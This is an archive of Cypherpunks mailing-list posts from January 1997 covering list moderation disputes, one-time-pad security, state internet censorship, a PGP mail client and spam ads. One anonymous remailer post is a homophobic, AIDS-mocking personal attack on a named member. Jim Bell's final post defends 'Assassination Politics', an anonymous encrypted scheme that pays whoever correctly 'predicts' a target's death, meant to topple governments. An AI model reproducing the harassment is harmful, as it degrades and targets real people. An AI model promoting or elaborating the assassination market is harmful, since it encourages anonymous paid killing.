> We have had problems in the past with forgeries, and should retain this
> basic tool for evaluating a message's source.

 The header information, on all of the lists, has been changed in order
to make it more difficult for list members to keep track of what is 
going on behind the Electromagnetic Curtain.
 A simple example is the fact that, originally, a quick glance at the 
header was sufficient to recognize which messages were sorted to the
flames list and were sent out by toad.com from this list. This has
since been changed to make the process of censorship more obtuse.

  Your complaint about it being difficult to 'untangle' certain 
message threads seems to stem from the fact that you have chosen
to receive only a cypher-world-view that has been censored before
you receive it.
  The purpose behind censorship on the list is for the censoring
party to be able to spoon-feed you only what they deem fit for 
you to read. Given the haphazard methods with which the censorship
is being instituted, it is not in the best interest of the censors
to make it easy for the list members to track the course of the
various postings.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 27 Jan 1997 20:10:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] Airport Security
Message-ID: <199701280410.UAA06882@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dumpy Vilus wears satin lingerie embroidered with pink
swastikas, prancing around for his homosexual, AIDS infected
lovers.

        _
       / '
      |
   /><oo><\ Dumpy Vilus
  //[ `' ]\\






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 27 Jan 1997 17:51:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <c=US%a=_%p=msft%l=RED-81-MSG-970127205105Z-2978@INET-04-IMC.microsoft.com>
Message-ID: <mZV81D92w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Blanc Weber <blancw@MICROSOFT.com> writes:

> From:	Sandy Sandfort
>
> (By the way, if you don't like moderation, you would hate Eric Hughes'
> favored solution.)
> ...............................................
>
> What was that?

Eric Hughes struck me as being smarter than Gilmore, so I too would like
to know what his "favored solution" was. Didn't I have dinner with him once?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 18:31:40 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <Pine.SUN.3.91.970126073859.24597D-100000@crl8.crl.com>
Message-ID: <32ED8048.4E50@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> Apparently, Toto does not know very much about John or me or our
> relationships with the "Establishment."

  Unfortunately, I know a little 'too much' about you and John and
your relationships with the Establishment.  But as long as I don't
think about it at the dinner table, it doesn't affect my appetite.

> I can't speak for John, but 

  You do so all of the time. It seems, rather, that John cannot 
speak for himself (or is too embarrassed to do so).

> I think both of these groups are intellectually dishonest in the
> extreme when it comes to telling others how this list should be
> run. 

  No, Sandy, it is yourself and John who are 'telling' others how
this list 'will' be run.
  You seem to be projecting your own motivations upon anyone who 
'expresses' any unflattering opinion of the the censorship process
you have instituted.
 
> Of course squating and claim jumping appeal to the lazy a lot
> more than homesteading.

 It must be nice, Sandy, having the power and control over the list
that enables you to fling insults at others and then direct them
to others only at your own whim and discretion.
 I guess that it is every list-dictator's dream to have the power
to send a big FUCK YOU to one portion of the list, and send a
portrait of themself as Mother Teresa to another portion of the
list.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 18:30:35 -0800 (PST)
To: Kevin L Prigge <Kevin.L.Prigge-2@tc.umn.edu>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <32ecee29303e002@noc.tc.umn.edu>
Message-ID: <32ED8144.61B0@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Kevin L Prigge wrote:

>. The purpose of this list was
> and should be discussion of cryptography and related issues. 

  Your view seems to be contradictory to that of Sandy. Sandy has
stated that s/he does not censor the list according to crypto-
relevancy.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ciro Maria <cmaria@stevens-tech.edu>
Date: Mon, 27 Jan 1997 18:03:18 -0800 (PST)
To: SpyKing <spyking@thecodex.com>
Subject: Re: Best Computer School?
In-Reply-To: <199701271941.LAA02719@toad.com>
Message-ID: <Pine.SGI.3.94.970127210030.12570A-100000@attila.stevens-tech.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 27 Jan 1997, SpyKing wrote:

> This is a little off topic but maybe someone can help. I've got a teenage
> son (HS sophomore) who's interested in majoring in computer science in
> college with a particular interest in cryptography. He's leaning toward MIT.
> Any suggestions from list members as to colleges to investigate? 
> 
> 
> 

Yeah Stevens Institute in Hoboken. Its pretty good I got there. Also
Caltech is good, I don't really know which else.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Remo Pini <rp@rpini.com>
Date: Mon, 27 Jan 1997 12:00:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 4th ACM Conference on Computer and Communications Security
Message-ID: <199701272004.VAA07649@ln.active.ch>
MIME-Version: 1.0
Content-Type: text/plain


Anyone going there?
It's right next doors - at least next to mine :)

Remo Pini





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Mon, 27 Jan 1997 18:31:58 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: OTP security
Message-ID: <3.0.32.19970127213110.00a07440@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul replied:
>Depends on how that 16th bit is related to the other bits and whether 
>these predictable bits give any information about the other bits on 
>the disk.

Yes, I had figured that if the bits depended on eachother, then it would
blow the whole system.  

[Yet another case of my fingers lagging behind my brain.]

What I was thinking was more along the lines of something like:

1.You've got 16 hardware devices that each generate random noise.
2.One of the devices fails (or is sabotaged) and emits a predictable stream
(10101...)
3.The other 15 devices are just fine, and the stream generated by one
device does not effect the stream of another.
4.You do not know of the (failure/sabotage) until *after* you've generated
your encyrted documents and they are out of your hands.

So the revamped question is:
How secure are those documents now?
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Good evening... as a duly appointed representative of the city, county and
state of New York, I order you to cease any and all supernatural activity
and return forthwith to your place or origin, or to the nearest convenient
parallel dimension.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 28 Jan 1997 13:10:55 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <01BC0D0D.24B244D0@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Jim Choate <ravage@einstein.ssz.com> wrote in article <5c5891$ah@life.ai.mit.edu>...

> > Singapore and China are blocking certain net groups. I think
> > this is a bad thing, question is how can we stop it?
> 
> 'We' shouldn't, it is their own country and it is up to their populace to
> stop it. Do you really want Singapore or China having a say in how we run
> our web? I certainly don't, and won't support any move to force any
> particular view on them. If Billy-Bob wants to shoot himself in the foot,
> let him. Might be purty funny to watch.

I don't agree with your view of states. The inhabitants of a
geographical area are not mere chattels of the governing power.

The right to rule rests on certain criteria which I believe neither 
country meets. The harassment of opposition politicians in
obviously trumped up charges disqualifies any country from
calling itself a democracy.


> > The Web was conceived as offering despots and dictators a choice 
> > between remaining in the dark ages and allowing freedom of
> > speech. Blocking and filtering schemes threaten this ideal.
> 
> Bull, the web was conceived so physicist and other researchers could share
> data in a easily digestible format. 

That was not all. We had a political Web site established
during the '92 election. I was in contact with Clinton's people
when we had fewer than 100 Web sites.

I am a cyber-revolutionary and the world has bought into
the chaos of our revolution. I never intended the Web to be a tool
for confirming the present social order which is manifestly 
corrupt.


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 28 Jan 1997 13:10:46 -0800 (PST)
To: "'jimbell@pacifier.com>
Subject: Re: Fighting the cybercensor
Message-ID: <01BC0D0D.272567B0@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




jim bell <jimbell@pacifier.com> wrote in article <5ch9f2$cuu@life.ai.mit.edu>...

> Look, I've proposed what I consider to be a remarkably consistent method to 
> prevent the kind of political tyranny that you criticize, and I don't see 
> any recognition of this fact.  

Thats because its a whacko solution that has no credibility
or consistency. 

If anyone tried to set up such a market and a price went out
on any of the heads of state fantasized about Mr Bell would be 
dead as a doornail in a week.

	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Mon, 27 Jan 1997 19:02:00 -0800 (PST)
To: "cypherpunks" <cypherpunks@toad.com>
Subject: Re: Fighting the cybercensor
Message-ID: <199701280301.TAA14685@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Dale Thorn <dthorn@gte.net> wrote in article
<5ch8v4$co9@life.ai.mit.edu>...
> blanc wrote:
> > From:   Dr.Dimitri Vulis
> > However U.S.G. is able to say that people of Iraq or Lybia or Cuba
should
> > not be permitted on the 'net. It also bombs Iraq and murders their
> > civilians
> > in retaliation for something their governments supposedly did.
> 
> > The U.S.G. has many more resources than most of us to do these things,
> > including equipment, cooperative troops, money, and recognition from
other
> > governments.   If other nations disagree with the U.S.G. they have the
> > resources to discuss, bargain, negotiate, criticize, form alliances,
take
> > their chances and retaliate, etc.
> 
> I wish this were true, at least of nations which would be friendly
> to someone like me (white, Western, etc.).  A bully on a school
> playground can always be knocked down, no matter how big or how
> vicious he is.  Sadly, the U.S. bully cannot be knocked down.  Bad
> enough you get nuclear, chemical, and/or biological stuff waved at
> you - if you get into a hot war like Desert Storm, your country is
> carpet-bombed with fleets of B-52's until it is thoroughly debilitated.

Actually the US is being remarkably ineffective in keeping
Cuba etc off the Net. If you don't believe me just try
the cuban home page.

We had a Web server running in Sarajevo during the siege
back in '93. There is no way that the US govt. can hope to
control the Internet any more than it can control the
phone system. 

What is astonishing is that the Cuban authorities are so
keen to import a technology that breaks down their
propaganda.

The Cold War was not won by the arms race, it was won in
Eastern Europe which was never a major participant. The main
instrument that won it was West German TV which broadcast
pictures of supermarkets with full shelves into the homes
of East Germans every night. The viewers could see that it
was not mere propaganda and their relatives confirmed the 
fact. As a result the East German guards on the Berlin wall
simply decided to leave their posts one night.

The East Germans couldn't stop the TV signals either. When
Dresden started to become a ghost town because people wanted
to move to a town which could recieve the broadcasts the
East Germans ended up installing their own relay to keep
the locals happy.


		Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 28 Jan 1997 13:10:52 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <01BC0D0D.284CF7C0@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Asgaard <asgaard@cor.sos.sll.se> wrote in article <5c92bo$lo9@life.ai.mit.edu>...
> On Wed, 22 Jan 1997, Jim Choate wrote:
> 
> >The Web does not equal the Internet, straw man argument.
> 

Actually at CERN we considered the Web to be a superset of the
Internet protocols and others such as DECNET which ran on private
networks such as our HEPNET.

Since most of those private networks are now obsolete I would consider
Web==Internet to be a reasonable equivalence. We always considered
email and news to be part of the Web (news:, mailto:). The narrow view 
that the Web was only HTTP and HTML was a piece of Andressen 
propaganda.
 
		Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 27 Jan 1997 19:23:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: <<Vitamin B>>(January 27, 1997) Affirmative Anonymity
Message-ID: <v03007803af131b08903b@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


To: DAILY DOSE <DAILY_DOSE@smtpgw.worldcom.com>
From: VitaminB <VitaminB@maxager.com>
Date: 27 Jan 97 15:44:12
Subject: <<Vitamin B>>(January 27, 1997) Affirmative Anonymity
Mime-Version: 1.0

Vitamin B:
Your Daily Dose of Bionomics

January 27, 1997

Affirmative Anonymity

In response to the January 24th Vitamin B ("Anonymity and Reputation"),
Greg Waddell, Policy Coordinator for U.S. Senator Connie Mack (R-FL)
and 1996 Bionomics Conference Speaker,  made the following comments,
which we'd like to share.

"There are aspects of the anonymity paradigm that relate to a whole host of
social issues that Machine Age liberals usually seek to remedy with strong
and heavy hand of government.  Namely, these are issues of discrimination
by race, gender, disability, etc. etc.  After the Joint Economic Committee's
hearing on the 21st Century Economy, held in summer of 1995, I suddenly
realized (better late than never!) that communicating via computer over the
Internet forces each of us to deal with others without regard to physical
attributes.
Neither color, race, gender, disability, religion, nationality, nor any
"class"
markers are apparent over the Net. The Information Age economy, if left
to evolve freely, could bring us closer to our American ideals of equality
for all than any law, affirmative action program, diversity training, or
anything
else.  I think that is the most compelling aspect of what we identify as the
anonymity of the Net."

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 22:23:12 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: The Bell Weather Curve
In-Reply-To: <199701280233.SAA12120@mailmasher.com>
Message-ID: <32ED9537.673E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


A structurally biased analysis of the ill-diguised flames approved
for posting to the censored list yield the following graphical
representation of dual-faced snide-itity:                    
                     .-.
                    / u \
                    | n |
                    | c |
                    | e |
                    | n |
      .-.     .-.   | s |   .-.     .-. 
 ----/---\---/---\--| o |--/---\---/---\--------------------
    /     `-'     `/  r  \'     `-'     \
   (                  e                  )
    |                 d                 |
    |                                   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 28 Jan 1997 23:10:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701280118.RAA12047@toad.com>
Message-ID: <8P181D93w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas <oksas@asimov.montclair.edu> writes:

> On Mon, 27 Jan 1997, Dale Thorn wrote:
>
> > Nurdane Oksas wrote:
> > > On Sun, 26 Jan 1997, Dale Thorn wrote:
> > > > Nurdane Oksas wrote:
> > > > > On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > > > > > Nurdane Oksas wrote:
> > > > > > >     i think it's good also to exercise outdoors as well as your
> > > > > > >     indoor nordictrack machines..sun and air is esp. necessary;
> >
> > > > > > but remember, tanning will kill ya.
> >
> > > > >         Yes it will; Not a fan of tanning myself...it also causes lot
> > > > >         of skin problems, have seen women age too soon tanning;
> > > > >         we don't go outside naked here in NorthEast...do remember;
> >
> > > > The real babes in So. Cal. go to tanning salons. That way the evenly-
> > > > distributed tan looks best with, say, a pure white bikini.  You can
> > > > go to the beach, of course, and hang out with the hoi polloi, but
> > > > it's mostly kids with pimples and stuff.
> >
> > >         i don't see why she would wear a bikini if she already is tan.
> > >         She just goes to show off right???  California is know for
> > >         very beautiful girls ...     I like the pale look :)
> >
> > There are two really major beaches in the L.A. area that I know of.
> > One is Bolsa Chica, several miles long, north of Huntington Beach,
> > which attracts most of the young'uns south of L.A., and Zuma in the
> > northmost points of Malibu, which gets a lot of Valley people
> > (fer sure).  To quote the L.A. Weekly of a few years ago, in a
> > "Best of L.A." review, "Why do all those hot young girls go to Zuma?
> > Because that's where all the hot young boys are."
>
> 	I see.
>
> > But the real babes don't go there.  They get skates and nifty little
> > costumes and zip up and down the boardwalks in Santa Monica and
> > Pacific Palisades mostly, in case some hot producer/director should
> > happen along.
>
> 	I see.
> 	

Why is a mere "I see" classified as cypherpunks-flames???
Stop picking on girls, Sandy.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 28 Jan 1997 13:10:57 -0800 (PST)
To: "Cypherpunks (E-mail)" <cypherpunks@toad.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <01BC0D0D.2B707EE0@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Jim Choate <ravage@EINSTEIN.ssz.com> wrote in article <5cg99p$7a@life.ai.mit.edu>...

> The part of it that comes out of their pocketbook does. Just like the part of
> 'the net' that I pay for belongs to me. The net is a bunch of computers,
> running software, hooked together over cables and other links. Each and
> EVERY ONE of these require installation, upkeep, repair, and utility
> support. This costs money. He who pays the money owns the net, everybody
> else is along for the ride.

The network is largely an intellectual creation. The hardware is
relatively unimportant, it can always be replaced.

> If we take your argument to its logical conclusion then once a box goes on
> the net it belongs to nobody/everybody. Clearly utter nonsense.

If you start from such a state and property centered ideology perhaps.
I'm a philosophical anarchist and I don't consider the state to have
"rights" over its "subjects", nor do I believe in the pure ideology of
property you do.

Its worth noting that the origin of property is theft. In the case of the
controllers of China literally so since they stole most of their "property"
from the previous rulers.

I believe that the relationship between a state and individual is
a much more complex one than the slavish subjection model
you propose. In this I am in agreement with practically every
philosopher since Locke.

It is true that there is the convenience of the state as agency but
the question is on whose behalf that agency is exercised. 

I see no reason why I should not meddle in the affairs of states
I'm not a 'subject" of. 

> If you really and truly believe that the net belongs to everyone and nobody
> has a right to limit or otherwise control the hardware and software along
> with the associated comm links they own and pay for then you obviously don't
> understand what is going on.

They are allowed to connect their machinery to the Internet so long 
as they are prepared to accept the Internet's ethic. They are not allowed
to have a free ride, to demand a valuable connection facility on their
own terms.

> ps I also support France's current attempt at forcing the Georgia university
>    web site on French soil to use French.

As a citizen of Europe I disagree. I believe that the narrow and
parochial attitude of the French province breaches undertakings in the
Treaty of Rome and under the European declaration of human rights.

France is not a sovereign state and does not have the right to
pass laws that infringe on the rights granted to European citizens
as a whole.

	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Daniel Harter <dharter@harter.pg.md.us>
Date: Mon, 27 Jan 1997 19:17:01 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Rejection policy of the Cypherpunks mailing list (fwd)
Message-ID: <Pine.LNX.3.95.970127221537.1178E-100000@columbia.harter.pg.md.us>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 26 Jan 1997, Dale Thorn wrote:

> Actually, it is a certifiable fact that the list subscribers can
> jump to the unmoderated list whenever they want to.  It is also a
> certifiable fact that they (97% or so) have *not* done so.

Has anyone compiled a summary of the difference of volume of posts to
the lists?  I'd be interested to find out.

> Because of these facts, I must conclude that either:
> 
> 1. The subscribers have spoken by staying put, or,
> 2. The subscribers are so lazy and unaware of what's going on that
>    they've just left things as is.
>
> Now, in my opinion, we've come to this:  Some people here will hold
> the optimistic view of the bulk of the subscribers, and others will
> hold the pessimistic view (the bulk will presumably be in-between).

I just started subscribing to the list near the time it started, so I
have not noticed a difference.  If the unmoderated list is not much
more (~10%) I think I'd prefer the unmoderated list.

Regards,

Dan Harter
dharter@harter.pg.md.us






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 20:20:08 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Libel/slander & crypto relevancy
In-Reply-To: <199702280250.UAA04550@einstein>
Message-ID: <32ED9B2E.6A35@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
  A whole shitload of rambling material which is irrelevant for any
purpose except, perhaps, to disguise semi-literacy with long-winded
soliloquys.

Jim,
  You seem to be getting better drugs than I am. Got any numbers
I could call in order to re-up?
  I have to admit that your grasp of technology is superior to my own,
since you are capable of posting to the list from a parallel universe
where it is already Thursday, Feb. 27, 1997.
  Interestingly enough, one of the UCE/Spammers that is mailbombing
various lists also lives in a parallel universe where it is already 
Thursday, Feb. 27, 1997.
  Small univerese, isn't it, Jim.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bigboy@gte.net (Ernie Steefan)
Date: Mon, 27 Jan 1997 20:23:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: [[[ Worldwide  Computer Based Business   !   ]]]
Message-ID: <Ready Aim Fire!_1/27/97 11:25:14 PM_bigboy@gte.net>
MIME-Version: 1.0
Content-Type: text/plain



If you have a PC and want to achieve real Financial Independence then you MUST
take a look at our Powerful Computer Based Business.
No matter who you are or where you live, Our Business is Universal.
We distribute software and information all over the world through E-Mail and the
Internet.
Our program called PC-SUPER-MLM is the most simple and powerful MONEY MAKING software in the world!. of course, you don't have to believe me until you see
the actual program.
Reply to this message and i will send you a FREE copy of the PC-SUPER-MLM
software via E-Mail as an attachement.

Have a great day !.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: BUSINESS@VNET.NET (CHAMBER OF COMMERCE)
Date: Mon, 27 Jan 1997 14:32:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: The Adult Chamber of Commerce is now open
Message-ID: <32ED2D00@VNET.NET>
MIME-Version: 1.0
Content-Type: text/plain


IF YOU ARE A BUSINESS OWNER WITH A WEB SITE, you should know that The Adult
Chamber of Commerce represents professional businesses on the Web.

        The Adult Chamber of Commerce is on the Web to help you!

    We got your E-mail address from your Business newsgroup posting.
        We did not put your E-mail address on a mailing list!

THE BOTTOM LINE: Chamber members see increased traffic to their Web Sites.

A massive portion of the Web has Doctors, Lawyers, Accountants, and all sorts
of people (buyer) visiting ADULT sites.  It's just the nature of the Web.

Your business can capture some of this massive traffic and direct it to your
Web site through Membership in The Adult Chamber of Commerce.  All member
companies, Adult & Non-Adult, get listed in the Chamber member links section
with an icon that indicates you do business in accordance with the Better
Business Practices of The Adult Chamber of Commerce.  This listing literally
guarantees significant additional traffic to your Web site.

Membership inThe Adult Chamber of Commerce is something you should consider
if you are interested in getting greater exposure on the Web.

Each company is checked out before membership is approved.  Since it costs
a business as little as $240 annually for membership, it's not expensive
for a company to tell others that they support the only professional
organization for responsible ADULT businesses.  A business applies for
membership at the Adult Chamber Web site and visitors regularly check to
see if the company [they'e planning to buy from] is a Member in Good
Standing.

      The Adult Chamber of Commerce web site is the place to find
           the BEST & most responsible companies on the Web.

             ==============================================
             Visit and Bookmark http://www.adultchamber.com
             ==============================================

IF YOU OWN A BUSINESS, applying for MEMBERSHIP to The Adult Chamber of
Commerce is easy.  The Web site has an online application.  Memberships are
pocessed daily and increasing traffic to your Web site is as easy as
becoming a member!  The chamber has other services besides increasing traffic
to your Web site.  We design, re-design and host Web sites professionally.
Visit www.adultchamber.com for the whole story and you will see why
membership is a good idea for any business.  If you want a brochure, leave us
your name and address.  You can call us to discuss membership at 516/689-2457
or 561/395-0217.  THE BOTTOM LINE is that Chamber member businessessee
increased traffic to their Web sites and improve sales.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 27 Jan 1997 22:47:21 -0800 (PST)
To: Rob <wlkngowl@unix.asb.com>
Subject: Re: PGPmail for Windows, Version 4.5
Message-ID: <3.0.1.32.19970127223906.02e57ebc@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 07:39 PM 1/27/97 GMT, Rob wrote:

>I'm surprised the didn't mention Pegasus Mail, which is an amazing "hot"
>mailer, with a sort-of built-in crypto plug-in capability... it's also free.

I would like to see PGPMail support Pegusus Mail for the reason that I have
used the crypto plug-in for Pegusus and found it inadiquate for general
usage.

Pegusus's current crypto hooks do not deal well with remailers and multiple
keys.  PGPMail does not deal with remailers as well as I would like, but it
is far easier to use than the Pegusus solution.



-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMu2e++QCP3v30CeZAQG33wf9GL2yZodjFYsSPTsfO+zgmi+UtzGWKCJe
OBcdIRxw+eRIS+wzVE39QYiWNsNHx9hijRtyXnVkdPNUWOoAZMTtJ5ndbFl+TtCQ
PNicvtitryrPc4VrD+VOr/uZ98Yyf1YEQXxs8+CAocJ4uujerC2bsSaG2xtqtBKZ
8fS64D0P9MklNuGWS4/RYsJsnNtdJP7I7L7G+WFd8L1PAzvlrgq3ClJ+zuBBGrQf
A/tz9YTIck0anRBifOKCUlRAtpTe0tElCvJKv7QPxLgHAJxM+rg1GHj35SY6QlKs
b3cUpjxWolL5c4WvZcyOYRf9CPp2Gr5D2XMgIrydmgQYQStP/8Orhw==
=79pa
-----END PGP SIGNATURE-----

---
|   If you're not part of the solution, You're part of the precipitate.  |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 27 Jan 1997 22:48:00 -0800 (PST)
To: blanc <cypherpunks@toad.com>
Subject: RE: Fighting the cybercensor
Message-ID: <199701280647.WAA10602@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:21 PM 1/26/97 -0800, blanc wrote:
>From:	jim bell (in response to Dimitri Vulis')
>Look, I've proposed what I consider to be a remarkably consistent method to 
>prevent the kind of political tyranny that you criticize, and I don't see
>any recognition of this fact.
>........................................................
>
>1) Jim, why do you insist on discussing this on an forum for encryption?

Because it's on-topic, that's why.  Because it's not merely a list 
concerning METHODS of encryption, it's also about the _reasons_ for using 
encryption, as well as the _effects_ (both small-scale and large-scale) of 
using encryption.  

If we were satisfied to protect ourselves from, say, 99.999% of the ordinary 
population of this country who might want to read our messages, we'd all be 
satisfied with DES and we'd be happy with GAK.  But the fact is, most of us 
recognize that the REAL reason for good encryption is to keep our messages 
away from a tyrannical government with far more assets than individuals or 
small organizations.


>2) Why do you suppose the Iraqis haven't already thought of doing this 
>themselves?

You need to be a little more specific about who you are referring to when 
you say "the Iraquis."  Presumably, you aren't referring to the "Iraqui on 
the street"?  Perhaps you're talking about the politicians and government 
officials there, right?

Well, if that's the case then the answer should be obvious.  AP is, 
fundamentally, a system that will take down all governments everywhere after 
it starts up anywhere.  The leadership of Iraq may be the leaders of a 
third-rate, third-world country, but as comedian Mel Brooks said in the 
movie, "History of the World, Part I," "It's good to be the king!"   And it is.

These official-types have far more in common with the leadership of the 
other countries than they do with their own citizens.  If anything, they're 
probably actually even MORE rewarded by their position than the leadership 
of westernized countries.  After all, Clinton makes about $250K per year and 
it's pretty risky for him to receive direct bribes.  Kick him out and he 
only loses a cushy job with lots of prestige.   Saddam Hussein and his 
family, on the other hand, probably was able to rake in hundreds of millions 
of dollars a year in baksheesh.  What makes you think that the leadership of 
Iraq would want to craft a weapon (AP) which is guaranteed to drop them to 
the level of their citizenry, or maybe even get themselves killed?  

As for why the ordinary Iraquis didn't think of it...  Or the ordinary 
people of any or every country, as well.  Why didn't THEY think of it?  
Maybe this is just another case of "not invented here" syndrome:  You're 
pissed off that you didn't think of it, and I did.  Sorry, can't help that. 

 

>3) The Mafia uses this method all the time - why then haven't they achieved 
>a more rational society among themselves?

That's just it!  The Mafia DOESN'T use AP or anything like it.  (Admittedly 
I can't really claim personal knowledge of the operation of the Mafia, you 
understand...!)  In fact, apparently, they function diametrically opposed to 
the AP system.  A complete AP-like system is structured (via encryption, 
etc) to totally avoid anybody having to trust anyone else. Each participant 
is kept honest mathematically.  Nobody can inform on anyone else, because 
nobody knows anyone else's identity. 

In fact, a fully-implemented AP-type system not merely hides the identities 
of the participants from each other, but it also hides the existence of 
crimes committed by any of the other participants (if any) from each other.  
A donor to the AP system, for instance, can't know for sure that his 
donation money was paid to a person who killed a target.  At most, he knows 
that the money was paid to somebody who, he's satisfied, had enough 
confidence that the death would occur on a particular date in the 
future to, in effect, bet money on the outcome.

And AP allows anyone to participate in the system, regardless of whether 
he's trusted by the others.

On the contrary, the Mafia, or at least what I've managed to pick up from 
decades of melodramatic movies and newspaper and magazine articles, depends 
intimately on people trusting each other.  That's why it's so devastating to 
them when one of their own (Joseph Valachi, for instance) turns on them and 
rats.  To be sure, that trust is backed up by threat of death for turncoats, 
which is why such defections are rare, but they do indeed occur.

Also, AP (quite unlike the Mafia) encourages literally anyone to do jobs for 
it.  The Mafia, quite the contrary, must trust people, so I assume they 
won't farm out their work to just anyone.


(I should point out that your clear misinterpretation of AP, claiming that 
it is the way the Mafia does things, is just another example of such 
confusion among critics of AP.  I attribute this to such a burning desire to 
discredit AP that you'll use practically any argument, however specious, to 
"prove" it to be incorrect or unworkable.  You're not alone.)


>4) Weren't governments (like the U.S.) instituted to prevent this sort of 
>thing (even if they don't work out as expected)? i.e., there were systems 
>of courts and lawyers and such instituted to openly deal with "criminal" 
>activity so that a) people could receive assistance against low-life 
